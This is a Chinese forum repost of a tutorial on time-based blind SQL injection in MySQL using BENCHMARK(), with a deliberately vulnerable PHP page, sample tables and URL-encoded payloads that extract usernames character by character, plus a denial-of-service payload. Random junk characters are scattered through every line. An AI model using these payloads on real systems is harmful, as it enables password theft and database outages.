找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 0 ~9 R; ~/ w! Z% f" \
本文作者:SuperHei, h0 V% D! g3 s. K3 D# Y& ?- n% O
文章性质:原创
3 S7 s  x7 t' o- T5 b0 R2 L发布日期:2005-01-02& F* ?' ^8 L% f( G
完成日期:2004-07-09
2 r/ o4 |! e2 N第一部
/ y. o* Q- Z" ^4 h9 W
, f$ N  I, i- _1 g5 J/ g利用时间推延进行注射---BENCHMARK函数在注射中的利用
; H2 i: f! G$ I+ a" X: k
: z6 \' c1 ?  k9 S. W, r6 |一.前言/思路, ^9 e+ y. f  X* H5 b( F7 I, ]

. P9 i# E, ^9 f$ `6 w  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
3 \* E! V% m1 a* W! Q. B6 ]
0 [( L& N& J4 u4 O  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
! W  f% N" Q; g3 y9 {" r6 _
, X" r, A1 ?3 h0 e二.关于BENCHMARK函数+ z2 Q: W$ g: X

( x8 D. @5 a2 A  在MySQL参考手册里可以看到如下描叙: ! S% p  b/ n/ b4 D
3 b3 H! E4 W, N- }( y- g9 K
1 Y2 Q5 T0 v& R& V
--------------------------------------------------------------------------------, v& L8 \9 v0 i$ z8 a$ G; B
3 D$ m; v! [" o) Z) w. T  M+ |0 \" s
BENCHMARK(count,expr)
  p8 h3 Q! }0 K- X7 ]" D- yBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
5 K5 J0 s5 A9 Y% y4 }mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
9 ^) c/ ]5 c& J1 j+----------------------------------------------+ 3 g1 j2 l3 Y9 r) e9 e9 g5 f0 s* I
| BENCHMARK(1000000,encode("hello","goodbye")) |
2 V. h% I/ [' L7 L& M) S/ _+----------------------------------------------+
. N1 Z) F" ~4 U. _| 0 |
" A- }- l/ Q; Z. a: y2 s! b& M+----------------------------------------------+ 3 ^1 g+ X: W5 y; R
1 row in set (4.74 sec)
6 {9 ~6 S7 H- A' Z5 {/ |
- e& \$ @6 _6 N7 @+ u报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, Q7 d- J% m6 o: ~6 L1 z% p; a! {. @6 z: A* `/ {5 W$ g
+ @# J9 u- C+ O. o7 ^! D3 ^
--------------------------------------------------------------------------------
$ x7 h4 @) o- H* P1 H# M- X1 ?3 i4 H; Z/ s; _
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
" L, w5 ~( e+ k9 q& |+ j# P, g  k6 S, [( r/ G* F+ H; O1 _
mysql> select md5( 'test' ); * w6 o0 b0 |- C% `
+----------------------------------+   @! c/ s0 |; l9 i2 x# V8 ?0 U6 X
| md5( 'test' ) |
; q2 {$ i- G, d7 j4 z+ D2 v1 w2 w+----------------------------------+
- ?# i. Y2 L1 L. }$ Q| 098f6bcd4621d373cade4e832627b4f6 |
4 X- l# N" H! \4 y) k& [) q2 r+----------------------------------+
+ v4 E! _% _  k6 K2 _, b1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 4 ^7 a& `/ {% ~

- J( {- ?0 ]2 g! _9 n7 n3 X4 P' vmysql> select benchmark( 500000, md5( 'test' ) ); 5 `3 C+ f5 ]4 f& w- R: o& D
+------------------------------------+
1 f( X( E( Q; R2 `) R| benchmark( 500000, md5( 'test' ) ) | 4 R: x4 {9 U" |: n+ D
+------------------------------------+
" ^  n; J! y% a+ v- s| 0 | . o- Y) v8 b2 L% g& R# S! b
+------------------------------------+
" h6 i$ ^  [, e# B1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
9 V% K6 @! D8 f3 V3 f$ I 2 b1 O& {; D  {% `: R2 ~" |0 S

! u7 Z( T0 E1 k8 D& |& C+ f, |  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
6 b3 M+ v  I( z' C& x: }2 U7 S% w, z/ t( k
三.具体例子
1 A; J4 L) n. m" E& q8 ^$ d
. N+ l* ^5 E3 O! h$ m6 h5 W- b2 f  首先我们看个简单的php代码:) R" v7 b3 z% x2 Z1 H" x

1 j& \% `3 }# x7 A" a< ?php - j7 S. N  n4 C# {- }* P, |* X) @$ F# p
$servername = "localhost"; 9 e0 G- ?6 P, e! ^. @6 u
$dbusername = "root";
% ?# O# c! G1 V! @$dbpassword = "";
; M$ K8 C7 d5 e1 s" s$dbname = "injection";
4 w- C0 h' B% x/ l/ Z3 n$ ~5 j8 |9 v8 o: w
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ) |5 f( k5 I2 _. `- ?9 x
1 {, @6 E/ K/ }% d7 \! t/ j8 [8 j# @
$sql = "SELECT * FROM article WHERE articleid=$id";
, Y9 E6 q& b9 T. k4 a$result = mysql_db_query($dbname,$sql);
4 N0 u( n2 ?8 y; w$row = mysql_fetch_array($result); 7 N; W' [. h. o) p" I) S

' j9 Z% L5 Z* \$ u0 Lif (!$row) 8 Y0 H- k* o$ ?" n( O, V
{
$ Q7 f; M" ~) {* r/ }: wexit; 2 p7 \- b0 v& e  ~* R
}
) _7 h5 `# j' k?>& [# L5 [- Z9 ]2 {2 k  _; ~
" f# J% k- n" e' W  r

  ~1 S7 p3 r+ m! E3 V3 T# w$ K  数据库injection结构和内容如下:& y4 F' q8 C  i% S

' h' ~  w/ s! k8 f! ?+ ?  l! `# 数据库 : `injection` 6 M! J$ V8 z; d& m, n: y; }
# 2 I# m, K8 ^/ C. Q

3 V2 ?) ~- m" }" `6 K# --------------------------------------------------------
8 M" O9 H0 L- T! L+ @  J4 r3 Q) c
* R8 v5 c% h) V#
$ Y* [% }5 N0 B0 G1 v, Q8 ~# 表的结构 `article`
- T" Z# l& {$ |2 h( Q/ \#
% s  h8 H. w" q, {) i6 r7 ~4 ~# B! q# p! k3 s- O
CREATE TABLE `article` (
' w4 m5 Z0 ]6 @3 U* Q0 P`articleid` int(11) NOT NULL auto_increment, $ j* r, H: _/ J- y. q; I
`title` varchar(100) NOT NULL default '',
) P5 P8 S9 O, {7 G`content` text NOT NULL, * @% E  _4 B; P8 _1 z. L
PRIMARY KEY (`articleid`) 2 {$ P: ]: J9 S4 i; r7 O
) TYPE=MyISAM AUTO_INCREMENT=3 ;
# @) j. @1 K! F" o  l5 d
8 k3 R4 F5 c0 M: @8 u- u- ?#
9 p. m% v; C  c7 Y1 c# 导出表中的数据 `article` # x, o) ^$ V$ p8 l
# ; P% k$ X. ]8 O3 {: y- p

3 O! t+ w9 j, n1 i. E8 [$ xINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + P; O! y% ?) m( W2 {, p
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 6 {; ]& s( M/ ]6 }# m% s
, |3 c  S; W2 J: w
# --------------------------------------------------------
0 P" e: M0 s( ^  n
) [  @9 {% S" d  R( u. j/ {4 N#
. j+ B9 `3 L  R$ v# 表的结构 `user`
8 \) N, n4 E% F  d# & _) s' e% y. ^, O

3 Y* A1 |& c7 ]) d. c4 [0 A3 lCREATE TABLE `user` ( . _8 T8 K  F$ Q4 v, I4 @
`userid` int(11) NOT NULL auto_increment, 4 C& b; F6 X( e5 e: L' }
`username` varchar(20) NOT NULL default '', $ L* m/ c% _: Y( j* F! t- u
`password` varchar(20) NOT NULL default '', / [5 e4 H, t) ~, K
PRIMARY KEY (`userid`)
5 g* D7 D& V7 g( T" d, r" E) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 H% U. u& X$ ~  R
! Q9 @2 _: \4 O' i' h0 p5 p& v
# ( t+ R% @# i( |0 p7 s
# 导出表中的数据 `user`
$ }- u* N7 p* n  n3 ^9 f#
: o& s! S7 T3 o% r6 g2 ?1 e
  }/ g; f; O4 VINSERT INTO `user` VALUES (1, 'angel', 'mypass');
; p, A* @6 c- L" A4 c& G2 r/ C- N" mINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
3 P8 k% W6 A$ C
2 s& ?) Z) }# R* U- y& T- E
" A' M  z- \% Z" T6 n% [1 g) b  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
: t7 f% e4 H8 Z7 K
  s: y; U* |' ^1 s: |0 Eid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*' ]( a# `1 o0 Y8 c6 H! s4 ^
' P* E- N6 x6 ^( Z* b
8 T: ]- ^+ L/ W1 e4 |
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
- d$ Y, n' Z+ O9 r6 F6 I3 C
4 @0 k+ l+ u$ ?3 D5 @http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*# N5 [3 ^- ^9 ^: _% v2 g; D

7 W5 C2 {5 Q% v9 X$ V" m9 z0 U! q* U$ V& Z' J& s' K: v7 f
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
3 s/ |1 f! e8 G: {! ?# _+ X/ Q4 O' H/ l
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
, d& e& F) k) L4 T/ }  P! u) g/ T% y4 H: d
第二部) c( M3 ~( j' }" Y( A, ]1 h9 y
9 P5 C( L; A. n# }) d( W2 v8 Q8 E
利用BENCHMARK函数进行ddos攻击
2 Z- w+ m+ m3 Z+ n) o' D, p3 n
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
2 {- D: J% B/ U2 h! w! H" \
0 t) R/ D4 {( |% ~. Ehttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# M$ H( |4 n/ ]2 K; E' L* l
: q: y+ H& u7 z/ X, f0 C9 s) A8 L0 h$ X$ T: @
小结! p: [( i7 e# r$ X8 A$ x

5 P; P9 R+ y6 M8 S2 [/ P3 }  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
* L5 y2 w7 N$ v( r9 Z. s . i3 y* X% Q/ X! v/ H
  - a6 |! a7 t; ?1 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表